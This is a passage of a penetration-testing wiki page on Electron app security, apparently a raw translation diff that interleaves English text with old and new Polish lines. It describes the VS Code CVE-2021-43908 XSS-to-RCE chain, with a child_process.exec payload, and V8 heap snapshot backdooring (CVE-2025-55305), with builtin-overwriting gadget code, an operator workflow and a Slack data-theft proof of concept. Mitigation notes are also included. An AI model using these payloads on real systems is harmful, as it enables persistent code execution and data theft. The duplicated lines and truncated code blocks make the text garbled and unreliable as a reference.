This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Ten rzeczywisty łańcuch wpłynął na Visual Studio Code 1.63 (CVE-2021-43908) i pokazuje, jak pojedyncze XSS wywołane przez markdown w webview może zostać eskalowane do pełnego RCE, gdy CSP, postMessage i obsługiwacze schematów są nieprawidłowo skonfigurowane. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
- Pierwsze XSS przez webview CSP: wygenerowany CSP zawierał `style-src 'self' 'unsafe-inline'`, pozwalając na inline/style-based injection w kontekście `vscode-webview://`. Payload beaconed to `/stealID` aby exfiltrate target webview’s extensionId.
- Konstruowanie docelowego URL webview: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Drugie XSS przez zaufanie do postMessage: zewnętrzny webview ufał `window.postMessage` bez rygorystycznych sprawdzeń origin/type i ładował złośliwy HTML z `allowScripts: true`.
- Ładowanie lokalnego pliku przez przepisywanie schematu/ścieżki: payload przepisał `file:///...` na `vscode-file://vscode-app/...` i zamienił `exploit.md` na `RCE.html`, wykorzystując słabą walidację ścieżek do załadowania uprzywilejowanego lokalnego zasobu.
- RCE w kontekście z włączonym Node: załadowany HTML wykonywał się z dostępem do Node APIs, co dawało wykonanie poleceń systemowych.
Przykład RCE primitive w końcowym kontekście
Przykładowy prymityw RCE w końcowym kontekście
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Powiązana lektura dotycząca problemów z zaufaniem postMessage:
Dodatkowa lektura na temat problemów z zaufaniem postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
@ -428,16 +426,16 @@ Powiązana lektura dotycząca problemów z zaufaniem postMessage:
## **Narzędzia**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) służy do identyfikowania błędnej konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open source plugin do VS Code dla aplikacji Electron, który wykorzystuje Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do wykrywania podatnych bibliotek stron trzecich
- [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikowania błędnych konfiguracji i antywzorców bezpieczeństwa w aplikacjach opartych na Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to otwartoźródłowe rozszerzenie VS Code dla aplikacji Electron, które używa Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek stron trzecich
- [**Electro.ng**](https://electro.ng/): Wymaga zakupu
## Laboratoria
W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) znajdziesz lab pokazujący, jak exploitować podatne aplikacje Electron.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
Kilka poleceń, które pomogą Ci w labie:
Kilka poleceń, które pomogą Ci w laboratorium:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -464,7 +462,7 @@ npm start
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
Key points
Kluczowe punkty
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
@ -487,11 +485,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (run different code in main vs. renderer)
- Wykrywanie procesu głównego: Node-only globals takie jak process.pid, process.binding() lub process.dlopen są obecne w main process isolate.
- Wykrywanie Browser/renderer: Browser-only globals takie jak alert są dostępne podczas działania w kontekście dokumentu.
Routowanie payloadów zależne od isolate (uruchamianie różnych fragmentów kodu w main vs renderer)
- Wykrywanie procesu main: globalne obiekty dostępne tylko w Node, takie jak process.pid, process.binding(), lub process.dlopen, są obecne w isolate procesu main.
- Wykrywanie Browser/renderer: globalne obiekty dostępne tylko w przeglądarce, takie jak alert, są dostępne podczas uruchamiania w kontekście dokumentu.
Przykładowy gadget, który jednorazowo bada możliwości Node w main-process.
Przykładowy gadget, który jednorazowo sprawdza możliwości Node w procesie main
```js
const orig = Array.isArray;
@ -520,7 +518,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context kradzież danych PoC (np. Slack)
PoC kradzieży danych z Renderer/browser-context (np. Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -545,30 +543,26 @@ return orig(...arguments);
};
```
Przepływ pracy operatora
1) Napisz payload.js, który clobbers powszechnie używany builtin (np. Array.isArray) i opcjonalnie rozgałęzia się per isolate.
1) Napisz payload.js, który nadpisuje powszechny builtin (np. Array.isArray) i opcjonalnie rozgałęzia się per isolate.
2) Zbuduj snapshot bez źródeł Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Zastąp plik(i) snapshot aplikacji docelowej:
3) Nadpisz plik(i) snapshot docelowej aplikacji:
- v8_context_snapshot.bin (zawsze używany)
- browser_v8_context_snapshot.bin (jeśli użyty jest fuse LoadBrowserProcessSpecificV8Snapshot)
4) Uruchom aplikację; gadget wykonuje się za każdym razem, gdy użyty zostanie wybrany builtin.
4) Uruchom aplikację; gadget wykona się za każdym razem, gdy użyty zostanie wybrany builtin.
Uwagi i rozważania
- Ominięcie integralności/podpisu: Pliki snapshot nie są traktowane jako natywne pliki wykonywalne przez mechanizmy sprawdzania podpisu kodu i (historycznie) nie były objęte Electron’s fuses ani kontrolami integralności Chromium.
- Trwałość: Zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zwykle przetrwa ponowne uruchomienia aplikacji i wygląda jak podpisana, legitna aplikacja.
- Przeglądarki Chromium: Ten sam koncept manipulacji dotyczy Chrome/pochodnych zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy ochrony integralności, ale wyraźnie wyłącza fizycznie lokalne ataki z modelu zagrożeń.
Uwagi i kwestie do rozważenia
- Integrity/signature bypass: Pliki snapshot nie są traktowane jak natywne wykonywalne przez mechanizmy sprawdzania podpisu kodu i (historycznie) nie były objęte Electron’s fuses ani kontrolami integralności Chromium.
- Persistence: Zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zwykle przetrwa restart aplikacji i wygląda jak podpisana, legalna aplikacja.
- Chromium browsers: Ten sam koncept manipulacji ma zastosowanie do Chrome/pochodnych zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy ochronne integralności, ale wyraźnie wyłącza fizycznie lokalne ataki ze swojego modelu zagrożeń.
Wykrywanie i przeciwdziałania
- Traktuj snapshoty jako zawartość wykonywalną i uwzględnij je w egzekwowaniu integralności (poprawka CVE-2025-55305).
- Preferuj lokalizacje instalacji zapisywalne tylko przez administratora; ustal bazowe hashe i monitoruj je dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
- Wykrywaj wczesne nadpisywanie builtinów i nieoczekiwane zmiany snapshotów; generuj alerty, gdy zdeserializowane snapshoty nie zgadzają się z oczekiwanymi wartościami.
Wykrywanie i środki zaradcze
- Traktuj snapshots jako zawartość wykonywalną i uwzględnij je w egzekwowaniu integralności (fix CVE-2025-55305).
- Preferuj lokalizacje instalacji zapisywalne tylko przez admina; ustal bazowe hashe i monitoruj v8_context_snapshot.bin oraz browser_v8_context_snapshot.bin.
- Wykrywaj wczesnoruntimeowe nadpisywanie builtinów oraz nieoczekiwane zmiany snapshotów; generuj alerty, gdy zdeserializowane snapshoty nie zgadzają się z oczekiwanymi wartościami.
## **Referencje**
## **References**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)